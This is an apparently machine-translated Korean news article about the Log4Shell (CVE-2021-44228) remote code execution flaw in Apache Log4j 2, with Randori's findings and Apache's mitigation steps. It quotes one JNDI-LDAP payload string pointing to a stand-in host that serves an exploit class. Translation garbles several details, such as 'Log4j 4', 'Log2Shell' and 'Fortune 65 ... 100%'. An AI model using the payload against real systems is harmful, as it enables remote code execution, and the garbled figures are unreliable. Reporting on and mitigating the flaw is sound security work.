많은 Java 프로젝트에 영향을 미치는 Apache Log4j 4의 치명적인 취약점인 Log2Shell

최근e는 Apache Log4j 2에서 치명적인 취약점이 확인되었다는 뉴스를 발표했습니다., 이는 Java 애플리케이션에서 레지스트리를 구성하기 위한 인기 있는 프레임워크로 특징지어지며 "{jndi: URL}" 형식으로 레지스트리에 특수 형식의 값이 기록될 때 임의의 코드를 실행할 수 있습니다.

취약점 공격이 자바 애플리케이션에서 수행될 수 있기 때문에 주목할 만하다.예를 들어 오류 메시지에 문제가 있는 값을 표시하여 외부 소스에서 얻은 값을 기록합니다.

관찰되는 것은 Apache Struts, Apache Solr, Apache Druid 또는 Apache Flink와 같은 프레임워크를 사용하는 거의 모든 프로젝트가 영향을 받습니다. Steam, Apple iCloud, Minecraft 클라이언트 및 서버를 포함합니다.

이 취약점은 포춘 65대 웹 애플리케이션의 100%에서 사용되는 대략적인 추정치인 Apache Struts 프레임워크의 치명적인 취약점의 역사를 반복하면서 엔터프라이즈 애플리케이션에 대한 대규모 공격의 물결을 일으킬 것으로 예상됩니다. 취약한 시스템에 대해 네트워크를 스캔하려는 이미 기록된 시도가 포함됩니다.

이 취약점은 인증되지 않은 코드의 원격 실행을 허용합니다. Log4j 2는 Apache Foundation에서 개발한 오픈 소스 Java 로그 라이브러리입니다. Log4j 2는 많은 애플리케이션에서 널리 사용되며 많은 서비스에서 종속성으로 존재합니다. 여기에는 비즈니스 애플리케이션과 수많은 클라우드 서비스가 포함됩니다.

Randori 공격 팀은 기능적 익스플로잇을 개발했으며 공격적인 보안 플랫폼의 일부로 고객 환경에서 이 취약점을 성공적으로 악용할 수 있었습니다. 

이 취약점은 다양한 애플리케이션별 방법을 통해 액세스할 수 있습니다. 실제로, Log4j 라이브러리를 사용하는 애플리케이션이 로그 파일에 쓰는 임의의 데이터를 원격 연결이 제공하도록 허용하는 모든 시나리오는 악용되기 쉽습니다. 이 취약점은 야생에서 악용될 가능성이 매우 높으며 수천 개의 조직에 영향을 미칠 수 있습니다. 이 취약점은 영향을 받는 시스템에 중대한 실제 위험을 나타냅니다.

문제는 기능적 익스플로잇이 이미 게시되었다는 사실로 인해 더욱 복잡해집니다.그러나 안정적인 분기에 대한 수정 사항은 아직 생성되지 않았습니다. CVE 식별자가 아직 할당되지 않았습니다. 솔루션은 log4j-2.15.0-rc1 테스트 브랜치에만 포함되어 있습니다. 취약점을 차단하기 위한 해결 방법으로 Log4j2.formatMsgNoLookups 매개변수를 true로 설정하는 것이 좋습니다.

문제 Log4j 2가 로그 라인에서 특수 마스크 «{}» 처리를 지원하기 때문입니다., 여기서 JNDI 쿼리를 실행할 수 있습니다. (자바 이름 지정 및 디렉토리 인터페이스).

CVE-2021-44228을 분석하면서 Randori는 다음을 결정했습니다.

널리 사용되는 비즈니스 소프트웨어의 기본 설치는 취약합니다.
이 취약점은 인증 없이 안정적으로 악용될 수 있습니다.
이 취약점은 여러 버전의 Log4j 2에 영향을 미칩니다.
이 취약점은 사용자가 라이브러리를 사용하여 애플리케이션을 실행할 때 원격 코드 실행을 허용합니다.

공격은 "$ {jndi: ldap: //example.com/a}"로 대체된 문자열을 전달하는 것으로 요약되며, Log4j 2가 Java 클래스 경로에 대한 LDAP 요청을 공격자.com 서버로 보내는 처리 . 공격자의 서버가 반환한 경로(예: http://example.com/Exploit.class)는 현재 프로세스의 컨텍스트에서 로드 및 실행되어 공격자가 권한이 있는 시스템에서 임의의 코드를 실행할 수 있도록 합니다. 현재 응용 프로그램의.

마지막으로 이상이 발견되면, 이것이 활성 사건이고 손상된 것으로 가정하고 그에 따라 대응하는 것이 좋습니다. Log4j 2 또는 영향을 받는 응용 프로그램의 패치 버전으로 업그레이드하면 이 취약점이 제거됩니다. Randori는 영향을 받을 수 있다고 생각되는 조직에 패치 버전으로 긴급 업그레이드할 것을 권장합니다.

Apache Log4j 팀의 최신 업데이트에서, 조직이 다음을 수행할 것을 권장합니다.

  • Log4j 2.15.0으로 업데이트
  • 2.15.0으로 업그레이드할 수 없는 경우: 버전> = 2.10에서 이 취약점은 log4j2.formatMsgNoLookup 시스템 속성 또는 LOG4J_FORMAT_MSG_NO_LOOKUPS 환경 변수를 true로 설정하여 완화할 수 있습니다.
  • 버전 2,0-beta9 ~ 2.10.0의 경우 완화 방법은 클래스 경로에서 JndiLookup 클래스를 제거하는 것입니다.

출처 : https://www.lunasec.io/


코멘트를 남겨주세요

귀하의 이메일 주소는 공개되지 않습니다. 필수 필드가 표시되어 있습니다 *

*

*

  1. 데이터 책임자 : Miguel Ángel Gatón
  2. 데이터의 목적 : 스팸 제어, 댓글 관리.
  3. 합법성 : 귀하의 동의
  4. 데이터 전달 : 법적 의무에 의한 경우를 제외하고 데이터는 제 XNUMX 자에게 전달되지 않습니다.
  5. 데이터 저장소 : Occentus Networks (EU)에서 호스팅하는 데이터베이스
  6. 권리 : 귀하는 언제든지 귀하의 정보를 제한, 복구 및 삭제할 수 있습니다.